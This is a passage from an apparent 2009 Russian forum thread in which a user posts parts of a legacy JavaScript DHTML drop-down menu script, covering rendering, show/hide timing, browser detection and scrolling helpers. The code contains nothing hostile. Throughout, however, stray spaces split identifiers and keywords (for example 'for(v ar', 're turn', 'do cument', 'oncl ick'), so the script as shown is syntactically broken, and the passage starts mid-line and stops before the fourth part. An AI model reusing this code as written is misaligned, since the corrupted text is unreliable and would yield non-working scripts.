STYLE='";if(!(ityp!=6&&stmozb)&&(ityp!=6||!(nOP&&nVER<6&&p.pver)))s+=sticss(i,0);s+="'>";if(ityp==6){s+="<table class=st_tbcss cellpadding=0 cellspacing=0 width=100% ID="+i.ids+"SA><td class=st_tdcss NOWRAP align=center valign=middle"+(p.pver?" width=100% STYLE='"+sticss(i,0)+"' height=":" width=")+ssiz+" ID="+i.ids+"SB>";s+=stgimg(simg,ids+"LINE",simw,simh,0,-1);s+="</td></table>";}else{var s1=nNN||nKQ2?"<DIV CLASS=st_divcss "+(stmozb?" STYLE='"+sticss(i,0)+"'":"")+" ID="+i.ids+"DR>":"";s+=nKQ2?s1:"";s+="<A class=st_acss ID="+i.ids+"HR STYLE='text-decoration:none;"+(nIEW?"cursor:"+stgcur(i):"")+"' "+stgurl(i,0)+">";s+=nNN?s1:"";s+="<TABLE class=st_tbcss CELLSPACING=0 CELLPADDING=0 WIDTH=100% ID="+ids+"TB>";if(p.pver&&p.plmw||!p.pver&&iicw)s+="<TD class=st_tdcss NOWRAP ALIGN=CENTER VALIGN=MIDDLE STYLE='padding:"+p.ppad+"px' ID="+ids+"LTD"+stgiws(i)+">"+stgimg(iicn[0],ids+"ICON",iicw,iich,iicb,1)+"</TD>";else if(nIEW)s+="<TD class=st_tdcss></TD>";s+="<TD CLASS=st_tdcss VALIGN="+ival+" NOWRAP STYLE='text-align:"+ihal+";color:"+itxc[0]+";padding:"+p.ppad+"px;' ID="+ids+"MTD>";s+="<FONT CLASS=st_ftcss ID="+ids+"TX STYLE=\""+sttcss(i,0)+"\">";if(ityp==2)s+=stgimg(iimg[0],ids+"IMG",iimw,iimh,iimb,-1);else if(itex)s+=itex;else s+=stgimg(stgme(i).mbnk,ids+"IMG",1,1,0,1);s+="</FONT>";s+="</TD>";if(p.pver&&p.prmw||!p.pver&&iarw)s+="<TD class=st_tdcss NOWRAP ALIGN=CENTER VALIGN=MIDDLE STYLE='padding:"+p.ppad+"px' ID="+ids+"RTD"+stgaws(i)+">"+stgimg(iarr[0],ids+"ARROW",iarw,iarh,iarb,1)+"</TD>";else if(nIEW)s+="<TD class=st_tdcss></TD>";s+="</TABLE>";s+=nNN?"</DIV>":"";s+="</A>";s+=nKQ2?"</DIV>":"";}s+="</TD>";}return s;}
function stpcss(p){with(p)return "border-style:"+pbds+";border-width:"+ipbw+"px;border-color:"+pbdc+";"+(nIE?"background:"+pbgd+";":"background-color:"+pbgc+";"+(pbgi?"background-image:url("+pbgi+");background-repeat:"+pbgr+";":""))+(nIEW?"margin:"+psds+"px;":";");}
function stfcss(p){var s="";with(p)if(nIEW&&(nVER>=5||!isst)){s+=peff[0]+" ";s+=peff[1]+" ";if(nIE5||popc!=100)s+="Alpha(opacity="+popc+") ";if(psds)s+=pstp==1?"dropshadow(color="+pscl+",offx="+psds+",offy="+psds+",positive=1) ":"Shadow(color="+pscl+",direction=135,strength="+psds+") ";}return s;}
function sticss(i,n){with(i)return (ityp!=6?"border-style:"+ibds+";border-width:"+ipbw+"px;border-color:"+ibdc[n]+";"+(!nIEM&&ibgi[n]?"background-image:url("+ibgi[n]+");background-repeat:"+ibgr[n]+";":""):"")+(nIEM&&ityp!=6?"background:"+ibgd[n]+";":"background-color:"+ibgc[n]+";")+"cursor:"+(nIEM?"default":stgcur(i))+";font-size:1px;";}
function sttcss(i,n){with(i)return "cursor:"+stgcur(i)+";font:"+itxf[n]+";text-decoration:"+itxd[n]+";"+(!nDM||nNN4||nIE5?"background-color:transparent;color:"+itxc[n]:"");}
function stgtm(m,w){if(w&&w!=window&&stdmld(w)){var t=w.stmenu(m.mnam);if(t){t.sfrm=window;if(t.mhdd<1000) t.mhdd=1000;}return t;}return m;}
function stitov(e,o,i){var p=stgpar(i);if(!p.issh||o&&nIE&&e.fromElement&&o.contains(e.fromElement)||nOP&&e.fromElement&&e.fromElement.id&&e.fromElement.id.indexOf(i.ids)>=0)return;if(nNN4)stglay(i).document.layers[0].captureEvents(Event.CLICK);var m=stgme(i),t=m,w=window;if(!p.par){w=stgfrm(m);t=s tgtm(m,w);}if(!p.isck||m.cked){if(p.cuit&&p.cuit!=i){var c=p.cuit;sthdit(c);if(t!=m&&t)w.sthdit(t.ps[c.ppi].is[c.iti]);}if(typeof(i.myitov)!="undefined"&&i.myitov(e))return;stshpx(t,m,i,w);stshst(i,1);stg par(i).cuit=i;}else if(t.mcks&2)stshst(i,1);if(nNN4&&i.istt)stcstt(i);}
function stitou(e,o,i){var p=stgpar(i);if(!p.issh||nIE&&e.toElement&&o.contains(e.toElement)||nOP&&e.toElement&&e.toElement.id&&e.toElement.id.indexOf(i.ids)>=0)return;if(nNN4)stglay(i).document.layers[0].releaseEvents(Event.CLICK);var m=stgme(i),t=m,w=window;if(!p.par){w=stgfrm(m);t=s tgtm(m,w);}if(typeof(i.myitou)!="undefined"&&i.myitou(e))return;p=i.sub;var tp=t!=m&&t?t.ps[i.ppi].is[i.iti].sub:0;if(p&&p.issh&&!p.exed)sthdpp(p);if(tp&&tp.issh&&!tp.exed)w.sthdpp(tp);if(!(p&&p.issh||tp&&tp.issh)){stshst(i,0);stgpar(i).cuit=0;}if(nNN4&&i.istt)status="";}
function stitck(e,o,i){if(i.lock||nNN4&&e.which!=1)return;if(typeof(i.myitck)!="undefined"&&i.myitck(e))return;var m=stgme(i),t=m,w=window;if(!stgpar(i).par){w=stgfr m(m);t=stgtm(m,w);}var p=stgpar(i);if(p.isck){m.cked=!m.cked;var p=i.sub;if(p){if(m.cked&&!p.issh)stshpx(t,m,i,w);else if(!m.cked&&p.issh){var tp=t!=m&&t?t.ps[i.ppi].is[i.iti].sub:0;if(tp)w.sthdpp(tp);sthdpp(p);}}if(!(t.mcks&2))stshst(i,m.cked?1:0);stgpar(i).cuit=m.cked?i:0; }if(i.iurl&&m.sfrm!=window)sthdalx(m,0);if(nKQ2&&i.iurl){window.open(i.iurl,i.itgt);}if(nIEW&&i.iurl){var a=stgobj(i.ids+"HR");i.lock=1;if(e.shiftKey)a.target='_blank';a.click ();a.target=i.itgt;i.lock=0;}}
function stppov(e,o,p){if(!p.issh||nIE&&e.fromElement&&o.contains(e.fromElement)

rizen
27.12.2009, 17:15
Вторая чвсть скрипта:
||nOP&&e.fromElement&&e.fromElement.id&&e.fromElement.id.indexOf(p.ids)>=0)return;var m=stgme(p),w=m.sfrm;if(p.par&&w!=window){if(stdmld(w))m=w.stmenu(m.mnam);else return;}if(m.hdid){w.clearTimeout(m.hdid);m.hdid=0 ;}}
function stppou(e,o,p){if(!p.issh||nIE&&e.toElement&&o.contains(e.toElement)||nOP&&e.toElement&&e.toElement.id&&e.toElement.id.indexOf(p.ids)>=0)return;var m=stgme(p),w=m.sfrm;if(p.par&&w!=window){if(stdmld(w))m=w.stmenu(m.mnam);else{st hdalx(m,0);return;}}if(m.hdid)w.clearTimeout(m.hdi d);m.hdid=w.setTimeout("sthdall(st_ms['"+m.mei+"'],0);",m.mhdd);}
function stshst(i,n){if(i.cstt==n)return;if(typeof(i.myshst )!="undefined"&&i.myshst(n))return;i.cstt=n;with(i)if(nNN4){var ls=stgstlay(i);ls[n].parentLayer.bgColor=ibdc[n];ls[n].visibility="show";ls[1-n].visibility="hide";}else{var o=stmozb?stgobj(i.ids+"DR"):stglay(i),s=o.style;if(nIEM){if(ibgd[0]!=ibgd[1]) s.background=ibgd[n];}else{if(ibgc[0]!=ibgc[1]){if(nOP&&nVER<6)s.background=ibgc[n];else s.backgroundColor=ibgc[n];}if(ibgi[0]!=ibgi[1]) s.backgroundImage="url("+(ibgi[n]?ibgi[n]:stgme(i).mbnk)+")";s.backgroundRepeat=ibgr[n];}if(ibdc[0]!=ibdc[1]) s.borderColor=ibdc[n];var t;if(iicn[0]!=iicn[1]){t=nIE?o.all[ids+"ICON"]:stgobj(ids+"ICON");if(t) t.src=iicn[n];}if(iarr[0]!=iarr[1]){t=nIE?o.all[ids+"ARROW"]:stgobj(ids+"ARROW");if(t) t.src=iarr[n];}if(ityp==2&&iimg[0]!=iimg[1]){t=nIE?o.all[ids+"IMG"]:stgobj(ids+"IMG");if(t) t.src=iimg[n];}if(!i.txstyle) i.txstyle=(nIE?o.all[ids+"TX"]:stgobj(ids+"TX")).style;t=txstyle;if(itxf[0]!=itxf[1])t.font=itxf[n];if(itxd[0]!=itxd[1])t.textDecoration=itxd[n];if(nOP) stgobj(ids+"MTD").style.color=itxc[n];else t.color=itxc[n];if(nOP&&nVER>7)with(stglay(stgpar(i)).style){var v=visibility;visibility="hidden";visibility=v;}}}
function stshpp(p){if(typeof(p.myshpp)!="undefined"&&p.myshpp())return;stshow(p);}
function stshpx(t,m,i,w){if(t==m){var p=i.sub;if(p&&!p.issh&&!(!i.ppi&&m.mcff&&!m.mcfn))stshpp(p);}else if(t){var p=t.ps[i.ppi].is[i.iti].sub;if(p&&!p.issh)w.stshpp(p);}}
function sthdpp(p){if(typeof(p.myhdpp)!="undefined"&&p.myhdpp())return;if(p.cuit){var t=p.cuit.sub;if(t&&t.issh)sthdpp(t);stshst(p.cuit,0);p.cuit=0;}sthide (p);}
function stshit(i){var p=i.sub;if(p&&!p.issh)stshpp(p);stshst(i,1);stgpar(i).cuit=i;}
function sthdit(i){var p=i.sub;if(p&&p.issh)sthdpp(p);stshst(i,0);stgpar(i).cuit=0;}
function stshow(p){var d=p.par&&stgpar(p.par).pver?stgme(p).msdv:stgme(p).msdh;p.e xed=0;if(typeof(p.rc)=="undefined")stgxy(p);if(p.tmid){clearTimeout(p.tmid);p.tmid=0 ;stwels(1,p)}if(d>0)p.tmid=setTimeout(stsdstr(p,1),d);p.issh=1;if(d<=0)eval(stsdstr(p,1));}
function sthide(p){if(p.tmid){clearTimeout(p.tmid);p.tmid=0 ;}if(p.issh&&!p.exed){p.exed=0;p.issh=0;}else{p.exed=0;p.issh=0 ;eval(stsdstr(p,0));}}
function stshx(p){if(nNN4){stnshx(p);return;}var l=stglay(p);l.style.visibility="visible";if(nIE5)l.filters["Alpha"].opacity=p.popc;}
function stnshx(p){var l=stglay(p);l.visibility="show";if(!p.fixed){l.resizeBy(p.ipbw*2,p.ipbw*2);l=l.do cument.layers[0];l.moveTo(p.ipbw,p.ipbw);l.onmouseover=stppovn;l.o nmouseout=stppoun;for(var j=p.is.length-1;j>=0;--j){var i=p.is[j];if(i.ityp!=6){var ls=stgstlay(i);if(i.ityp!=1||i.iurl)ls[2].resizeTo(ls[0].parentLayer.clip.width,ls[0].parentLayer.clip.height);if(i.iurl){with(ls[2].document){open();write("<A "+stgurl(i,0)+"><IMG BORDER=0 SRC='"+stgme(i).mbnk+"' WIDTH="+ls[2].clip.width+" HEIGHT="+ls[2].clip.height+"></A>");close();}}ls[0].resizeBy(-i.ipbw,-i.ipbw);ls[1].resizeBy(-i.ipbw,-i.ipbw);l=stglay(i).document.layers[0];l.onmouseover=stitovn;l.onmouseout=stitoun;l.oncl ick=stitckn;}}if(p.ipbw)setTimeout("var p=st_ms["+p.mei+"].ps["+p.ppi+"];stglay(p).bgColor=p.pbdc;",1);p.fixed=1;}}
function sthdx(p){var l=stglay(p);if(nNN4)l.visibility="hide";else{if(nIE5)l.filters["Alpha"].opacity=0;l.style.visibility="hidden";}}
function stcls(){for(var i=0;i<st_ms.length;++i)sthdalx(st_ms[i],0);}
function sthdalx(m,f){var w=m.sfrm;if(w!=window){if(stdmld(w)){var t=w.stmenu(m.mnam);if(t)w.sthdall(t,f);}else{for(v ar i=0;i<m.ps[0].is.length;++i){var p=m.ps[0].is[i].sub;if(p&&p.issh){sthdpp(p);break;}}}}else sthdall(m,f);}
function sthdall(m,f){var t=m,w;if(m.mcff){w=stgfrm(m);if(w&&w!=window&&stdmld(w)){t=w.stmenu(m.mnam);if(typeof(t)=="object"&&t)t.sfrm=window;}}if(m.hdid){clearTimeout(m.hdid); m.hdid=0;}m.cked=0;var p=m.ps[0];if(p.issh){var i=p.cuit;if(p.cuit){sthdit(i);if(t!=m){var p=t.ps[i.ppi].is[i.iti].sub;if(p&&p.issh)w.sthdpp(p);}} if(m.mtyp==2&&(f||stAHCM))sthide(p);}}
function stgeff(f,i,s,p){return nVER<5.5?(!p.isst||nVER>=5)&&i<24&&i>=0?"revealTrans(Transition="+i+",Duration="+((110-s)/100)+")":"":f=="Normal"?"":f;}
function stftsh(p){if(nIEW&&nVER>=5.5)eval("try{stshfx(p);}catch(e){st_reg=0;stshfx(p);}");else stshfx(p);}
function stfthd(p){if(nIEW&&nVER>=5.5)eval("try{sthdfx(p);}catch(e){st_reg=0;sthdfx(p);}");else sthdfx(p);}
function stshfx(p){var xy=stgxy(p);if(stissc(p))stssc(xy[2],p);stmvto(xy,p);stwels(-1,p);if(nIEW&&st_reg){var ts=stglay(p).filters;for(var i=0,j=i+p.effn[0];i<j;++i){if(ts[i].status)ts[i].stop();ts[i].apply();}}stshx(p);if(nIEW&&st_reg){var ts=stglay(p).filters;for(var i=0,j=i+p.effn[0];i<j;++i)ts[i].play();}}
function sthdfx(p){if(nIEW&&st_reg){var ts=stglay(p).filters;for(var i=p.effn[0],j=i+p.effn[1];i<j;++i){if(ts[i].status)ts[i].stop();ts[i].apply();}}sthdx(p);stwels(1,p);if(nIEW&&st_reg){var ts=stglay(p).filters;for(var i=p.effn[0],j=i+p.effn[1];i<j;++i)ts[i].play();}}
function ststxy(m,xy){m.mcox=xy[0];m.mcoy=xy[1];}
function stnav(){var v=navigator.appVersion,a=navigator.userAgent;nMAC= v.indexOf("Mac")>=0;if((nKQ=(typeof(navigator.product)!="undefined"&&navigator.product=="Konqueror/khtml"))){nVER=parseFloat(v);nKQ2=1;stmozb=1;}else if((nOP=a.indexOf("Opera")>=0)){nVER=parseFloat(a.substring(Math.max(a.indexO f("Opera/"),a.indexOf("Opera "))+6,a.length));nOP5=nVER>=5;}else if((nIE=document.all?1:0)){nIE4=(eval(v.substring( 0,1)>=4));nVER=parseFloat(a.substring(a.indexOf("MSIE ")+5,a.length));nIE5=nVER>=5&&nVER<5.5&&!nMAC;nIEM=nIE4&&nMAC;nIEW=nIE4&&!nMAC;}else if((nNN4=navigator.appName.toLowerCase()=="netscape"&&v.substring(0,1)=="4")){nVER=parseFloat(v);}else if((nNN6=(document.getElementsByTagName("*")&&a.indexOf("Gecko")!=-1))){nVER=parseInt(navigator.productSub);if(a.inde xOf("Netscape")>=0){st_delb=nVER<=20001108;st_addb=nVER>=20020512;}else{stmozb=nVER<20010505&&nVER>20001205;st_delb=nVER<=20010628;st_addb=nVER>=20011221&&nVER<20021016;}}nNN=nNN4||nNN6;nDM=nOP5||nIE4||nNN||nKQ 2;}
function stckpg(){st_rl=0;var w=st_cw,h=st_ch,l=st_cl,t=st_ct;st_cw=stgcw();st_c h=stgch();st_cl=stgcl();st_ct=stgct();st_scd=st_cl-l||st_ct-t;if((st_cw-w||st_ch-h)&&(nOP&&nVER<7||nNN4))document.location.reload();else{if(!nIEM) stscr();st_rl=setTimeout("stckpg();",25);}}
function st_onload(){if(st_load) return;if(nIEM||nOP5||nNN||nKQ2||nIEW&&nVER<5){if(st_ht)document.body.insertAdjacentHTML("BeforeEnd",st_ht);for(var j=0;j<st_ms.length;++j)stpre(st_ms[j]);}st_load=1;for(var i=stusrld.length-1;i>=0;--i){stusrld[i]();}stusrld.length=0;for(var j=0;j<st_ms.length;++j){var m=st_ms[j];for(var k=0;k<m.ps.length;++k){var p=m.ps[k];if(p.issh&&p.exed)stwels(-1,p);}if(typeof(m.myload)!="undefined")m.myload();}}
function stpre(m){var p=m.ps[m.ps.length-1],i=p.is[p.is.length-1];while(1)if(stglay(i)) break;if(!nNN4)stfix(m);if(m.mtyp!=2)stshow(m.ps[0]);if(nIEM)onscroll=onresize=new Function("if(st_scr)clearTimeout(st_scr);st_scr=setTimeout(' stscr();',500);");else if(!st_rl){st_cw=stgcw();st_ch=stgch();st_cl=stgcl ();st_ct=stgct();st_rl=setTimeout("stckpg();",25);}m.ready=1;}
function stfix(m){for(var j=0;j<m.ps.length;++j){var p=m.ps[j],l=stglay(p);if(!p.isst&&(nOP&&nVER>=7||nNN6))document.body.appendChild(l);if(nOP&&nVER<6)l.style.pixelWidth=parseInt(stgobj(p.ids+"TB").style.pixelWidth);if(nIE5)l.style.width=l.offset Width;}}
function stgsp(sp,d){var i=0,s=5;if(d<s||nIEM||!stSMSC)return d;d=(d-d%s)/s;while(d>0)d-=++i;return Math.min(Math.min(i*s,sp+s),100*s);}
function stscr(){for(var j=0;j<st_ms.length;++j){var m=st_ms[j];if(m.mtyp==1){var p=m.ps[0],o=stgobj(p),xy=stgxy(p),rc=stgrc(p);if(typeof(p.s cxs)=='undefined')p.scxs=0;if(typeof(p.scys)=='und efined')p.scys=0;var dx=xy[0]-rc[0],dy=xy[1]-rc[1];if(dx||dy){if(stAHWS) sthdall(m,0);stwels(1,p);p.scxs=stgsp(p.scxs,Math. abs(dx));p.scys=stgsp(p.scys,Math.abs(dy));var x=dx>0?rc[0]+p.scxs:rc[0]-p.scxs,y=dy>0?rc[1]+p.scys:rc[1]-p.scys;stmvto([x,y],p);if(stissc(p))stssc(stgsc(x,y,p),p);stwels(-1,p);}else{p.scxs=p.scys=0;if(stissc(p)){stwels(1, p);stssc(stgsc(xy[0],xy[1],p),p);stwels(-1,p);}}}else if(st_scd&&stAHWS&&m.sfrm!=window)sthdalx(m,0);}}
function stmvto(xy,p){if(xy&&(p.par||stgme(p).mtyp)){var l=stglay(p);if(nNN4)l.moveToAbsolute(xy[0],xy[1]);else if(nOP){var s=l.style;s.pixelLeft=xy[0];s.pixelTop=xy[1];}else{var s=l.style;s.left=xy[0]+"px";s.top=xy[1]+"px";}p.rc=[xy[0],xy[1],p.rc[2],p.rc[3]];}}
function stsdstr(p,s){return "var p=st_ms["+p.mei+"].ps["+p.ppi+"];p.tmid=0;"+(s?"stftsh(":"stfthd(")+"p);p.exed=1;";}
function stevfn(n,i){return new Function("e","var r=/Stm(\\d*)p(\\d*)i"+(i?"(\\d*)e":"")+"/;r.exec(this.parentLayer.id);var m=RegExp.$1;var p=parseInt(RegExp.$2);"+(i?"var i=parseInt(RegExp.$3);":"")+"return "+n+"(e,this,st_ms[m].ps[p]"+(i?".is[i]":"")+");");}
function stppev(p){return " onMouseOver='stppov(event,this,st_ms["+p.mei+"].ps["+p.ppi+"]);' onMouseOut='stppou(event,this,st_ms["+p.mei+"].ps["+p.ppi+"]);'";}
function stitev(i){with(i)return ityp==6?"":" onMouseOver='stitov(event,this,st_ms["+mei+"].ps["+ppi+"].is["+iti+"]);' onMouseOut='stitou(event,this,st_ms["+mei+"].ps["+ppi+"].is["+iti+"]);' onClick='stitck(event,this,st_ms["+mei+"].ps["+ppi+"].is["+iti+"]);'";}
function stquo(n){return "\""+n+"\"";}
function stgurl(i,f){with(i)return (iurl||f?"HREF="+stquo(iurl?iurl.replace(/"/g,"&quot;").replace(/'/g,"'"):"#")+(iurl&&itgt?" TARGET="+stquo(itgt):""):"")+(istt?" onMouseOver='return stcstt(st_ms["+mei+"].ps["+ppi+"].is["+iti+"]);' onMouseOut=\"top.status=\'\';return true;\"":"");}
function stcstt(i){top.status=i.istt;return true;}
function stgdec(v){return v?(v&1?"underline ":"")+(v&2?"line-through ":"")+(v&4?"overline":""):"none";}
function stgimg(src,id,w,h,b,f){var x=w?w:f,y=h?h:f;return "<IMG SRC="+stquo(src)+(id?" ID="+id:"")+(w>0?" WIDTH="+w:"")+(h>0?" HEIGHT="+h:"")+" BORDER="+b+">";}
function stgbg(c,i,r){return i?c+" url("+i+") "+r:c;}
function stgcur(i){return i.ityp!=6&&(i.iurl||stgpar(i).isck&&i.sub)?

rizen
27.12.2009, 17:16
Третья часть скрипта:
(nNN6||nKQ2?"pointer":"hand"):"default";}
function stgiws(i){var p=stgpar(i);return p.pver?(p.plmw>0?" WIDTH="+(p.plmw+2):""):(i.iicw>0?" WIDTH="+(i.iicw+2):"");}
function stgaws(i){var p=stgpar(i);return p.pver?(p.prmw>0?" WIDTH="+(p.prmw+2):""):(i.iarw>0?" WIDTH="+(i.iarw+2):"");}
function stgme(ip){var p=st_ms[ip.mei].ps[ip.ppi];while(p.par)p=stgpar(p.par);return st_ms[p.mei];}
function stgpar(ip){return st_ms[ip.mei].ps[ip.ppi];}
function stgcl(){return nIE?(nIEW&&document.compatMode=="CSS1Compat"?document.documentElement:document.body).scrollLef t:pageXOffset;}
function stgct(){return nIE?(nIEW&&document.compatMode=="CSS1Compat"?document.documentElement:document.body).scrollTop :pageYOffset;}
function stgcw(){return nIE?(nIEW&&document.compatMode=="CSS1Compat"?document.documentElement:document.body).clientWid th:innerWidth;}
function stgch(){return nIE?(nIEW&&document.compatMode=="CSS1Compat"?document.documentElement:document.body).clientHei ght:innerHeight;}
function stgobj(id){with(document)return nIE&&nVER<5?all[id]:nNN4?layers[id]:getElementById(id);}
function stglay(ip){if(!ip.layer)ip.layer=!stisit(ip)||nNN6 ||nKQ2||nOP5?stgobj(ip.ids):nNN4?stglay(stgpar(ip) ).document.layers[0].document.layers[ip.ids]:stglay(stgpar(ip)).all.tags("td")[ip.ids];return ip.layer;}
function stgstlay(i){return stglay(i).document.layers[0].document.layers;}
function stgrc(ip){var ly=stglay(ip);if(nNN4)return [ly.pageX,ly.pageY,ly.clip.width,ly.clip.height];else{var l=0,t=0,w=typeof(ip.rc)=="undefined"?parseInt(nOP&&nVER<7?ly.style.pixelWidth:ly.offsetWidth):ip.rc[2],h=typeof(ip.rc)=="undefined"?parseInt(nOP&&nVER<7?ly.style.pixelHeight:ly.offsetHeight):ip.rc[3];while(ly){l+=parseInt(ly.offsetLeft);t+=parseInt( ly.offsetTop);if(nIEW&&stisit(ip)&&ly.id==stgpar(ip).ids+"SC"){l-=ly.scrollLeft;t-=ly.scrollTop;}ly=(nKQ2||navigator.appVersion.inde xOf("Safari")>=0)&&ly.style&&ly.style.position&&ly.style.position.toLowerCase()=="absolute"?0:ly.offsetParent;}if(nIEM)l+=parseInt(document.b ody.leftMargin);if(stisit(ip)){var p=stgpar(ip);if(st_delb){l-=ip.ipbw;t-=ip.ipbw;}if(st_addb){var w=p.ipbw;l+=w;t+=w;}if(nIEM){for(var ly=stgobj((p.pver?p.ids+ip.iti:p.ids)+"TRR"),t=0;ly;ly=ly.offsetParent)t+=parseInt(ly.offsetT op);}else if(nNN&&p.pver)w=parseInt(stgobj(ip.ids+"DR").offsetWidth)+2*ip.ipbw;}else if(nIEM)w=parseInt(stglay(ip).offsetWidth)-ip.ipbw;return [l,t,w,h];}}
function stgxy(p){var sr=stgrc(p),ss=0;p.rc=sr.slice(0);if(stissc(p)){va r sc=stgobj(p.ids+"SC");sr[p.pver?3:2]=ss=(p.pver?sc.scrollHeight:sc.scrollWidth)+2*p.ip bw+2*p.psds;}if(!p.par){var m=stgme(p),x,y;if(m.mtyp){x=eval(m.mcox+"");y=eval(m.mcoy+"");}else{x=sr[0];y=sr[1];}if(nIEW){x-=p.psds;y-=p.psds;}return stissc(p)?[x,y,stgsc(x,y,p)]:[x,y];}var ir=stgirc(p.par),l=stgcl()-p.psds+stgspc(p,2),t=stgct()-p.psds+stgspc(p,0),r=stgcl()+stgcw()-stgspc(p,3),b=stgct()+stgch()-stgspc(p,1),x=p.poffx+ir[0],y=p.poffy+ir[1];x-=p.pdir==1?sr[2]:p.pdir==2?p.psds-ir[2]:p.psds;y-=p.pdir==3?sr[3]:p.pdir==4?p.psds-ir[3]:p.psds;if(stissc(p)&&!p.pver){var ms=p.pdir==1?(x=Math.max(Math.min(Math.min(r,ir[0]+p.poffx)-sr[2],x),l),Math.min(ir[0]+p.poffx,r)-x):(x=p.pdir==2?Math.max(x,l):Math.max(Math.min(r-sr[2],x),l),r-x);ss=ss>ms?ms:0 }else x=Math.max(Math.min(r-sr[2],x),l);if(stissc(p)&&p.pver){var ms=p.pdir==3?(y=Math.max(Math.min(Math.min(b,ir[1]+p.poffy)-sr[3],y),t),Math.min(ir[1]+p.poffy,b)-y):(y=p.pdir==4?Math.max(y,t):Math.max(Math.min(b-sr[3],y),t),b-y);ss=ss>ms?ms:0 }else y=Math.max(Math.min(b-sr[3],y),t);return [x,y,ss];}
function stbuf(s){if(s&&stBIMG){var i=new Image();st_ims[st_ims.length]=i;i.src=s;}return s;}
function stabs(s){var t=s.toLowerCase();return t.indexOf(":")==1&&t.charCodeAt()>="a"&&t.charCodeAt()<="z"||!t.indexOf("http:")||!t.indexOf("https:")||!t.indexOf("file:")||!t.indexOf("ftp:")||!t.indexOf("/")||!t.indexOf("javascript:")||!t.indexOf("mailto:")||!t.indexOf("about:")||!t.indexOf("gopher:")||!t.indexOf("news:")||!t.indexOf("telnet:")||!t.indexOf("wais:");}
function stgsrc(s,f){var m=st_ms[st_cm];return s?stabs(s)?s:m.mweb+s:f?m.mbnk:s;}
function showFloatMenuAt(n,x,y){if(nDM){var m=stmenu(n);if(m&&typeof(m.ready)!="undefined"&&m.mtyp==2&&m.ps.length&&!m.ps[0].issh){ststxy(m,[x,y]);stshow(m.ps[0]);}}}
function hideMenu(n){var m=stmenu(n);sthdall(m,1);}
function stmenu(n){for(var j=st_ms.length-1;j>=0;--j)if(st_ms[j].mnam==n)return st_ms[j];return 0;}
function stgirc(i){var m=stgme(i),w=m.sfrm;if(stgpar(i).par||w==window)re turn stgrc(i);m=w.stmenu(m.mnam);var rc=w.stgrc(m.ps[0].is[i.iti]),x=rc[0]-w.stgcl(),y=rc[1]-w.stgct();i.sub.pdir=4-m.mcfd;switch(m.mcfd){case 0:y-=w.stgch();break;case 1:y+=stgch();break;case 2:x-=w.stgcw();break;case 3:x+=stgcw();break;}return [x+stgcl()+m.mcfx,y+stgct()+m.mcfy,rc[2],rc[3]];}
function stisit(ip){return typeof(ip.iti)!="undefined";}
function stgtgt(i){var t=i.itgt;if(t=="_self")return window;else if(t=="_parent")return parent;else if(t=="_top")return top;else for(var co=window;co!=co.parent;co=co.parent)if(typeof(co. parent.frames[t])!="undefined")return co.parent.frames[t];return 0;}
function stgfrm(m){if(!m.mcff) return window;if(m.mhdd<1000) m.mhdd=1000;var a=m.mcff.split("."),w="parent";for(var j=0;j<a.length;++j){w+="."+a[j];if(typeof(eval(w))=="undefined")return 0;}return eval("parent."+m.mcff);}
function stgspc(p,d){var m=stgme(p),w=m.sfrm;return p.par&&!p.par.ppi&&w!=window&&stdmld(w)&&w.stmenu(m.mnam).mcfd==d?stCFSP:stSCSP;}
function stsetld(){if(nDM){if(typeof(onload)!="undefined"&&onload!=st_onload&&onload)stusrld[stusrld.length]=onload;onload=st_onload;}}
function stdmld(w){return typeof(w.st_load)!="undefined"&&w.st_load;}
function stissc(p){return nIEW&&nVER>=5&&p.ppi&&stgme(p).mscm[p.pver];}
function stm_sc(n,a){if(nIEW&&nVER>=5)st_ms[st_cm].mscm[n]={sbgc:[a[0],a[1]],sbgi:[stbuf(stgsrc(a[2],0)),stbuf(stgsrc(a[3],0))],sbgr:[stREP[a[4]],stREP[a[5]]],sbds:stBDS[a[6]],sbdw:a[7],sbdc:[a[8],a[9]],simg:[[stbuf(stgsrc(a[10],0)),stbuf(stgsrc(a[11],0))],[stbuf(stgsrc(a[15],0)),stbuf(stgsrc(a[16],0))]],simw:[a[12],a[17]],simh:[a[13],a[18]],simb:[a[14],a[19]]};}
function stsctx(p,d){with(p)with(stgme(p).mscm[p.pver])return (d?"</table></div></td>"+(pver?"</tr>":""):"")+(pver?"<tr style='display:none'><td":"<td height=100% style='display:none'")+" class=st_tbcss style='padding:"+pspc+"px'><table onmouseover='stscev(st_ms["+mei+"].ps["+ppi+"],"+d+",1)' onmouseout='stscev(st_ms["+mei+"].ps["+ppi+"],"+d+",0)' id="+ids+(d?"SN":"SP")+" height=100% width=100% class=st_tbcss cellpadding=0 cellspacing=0 style='cursor:default;border-style:"+sbds+";border-width:"+sbdw+"px;border-color:"+sbdc[0]+";background-color:"+sbgc[0]+(sbgi[0]?";background-image:url("+sbgi[0]+")":"")+";background-repeat:"+sbgr[0]+";'><td nowrap height=100% class=st_tdcss style='padding:"+ppad+"px;' align=center><img src='"+simg[d][0]+"' align=absmiddle border="+simb[d]+(simw[d]>=0?" width="+simw[d]:"")+(simh[d]>=0?" height="+simh[d]:"")+"></td></table></td>"+(d?(pver?"</tr>":""):(pver?"</tr><tr>":"")+"<td class=st_tbcss><div id="+ids+"SC class=st_divcss style='width:;height:;overflow:hidden;'><table class=st_tbcss cellpadding=0 cellspacing="+pspc+" border=0>");}
function stscev(p,d,v){p.scpx=d?v?4:0:v?-4:0;with(stgme(p).mscm[p.pver]){var o=stgobj(p.ids+(d?"SN":"SP")).style;if(sbdc[0]!=sbdc[1])o.borderColor=sbdc[v];if(sbgc[0]!=sbgc[1])o.backgroundColor=sbgc[v];if(sbgi[0]!=sbgi[1])o.backgroundImage=sbgi[v]?"url("+sbgi[v]+")":"none";o.backgroundRepeat=sbgr[v];}if(!p.scid)p.scid=setTimeout("stscit(st_ms["+p.mei+"].ps["+p.ppi+"]);",10);}

rizen
27.12.2009, 17:18
И четвертая часть скрипта:
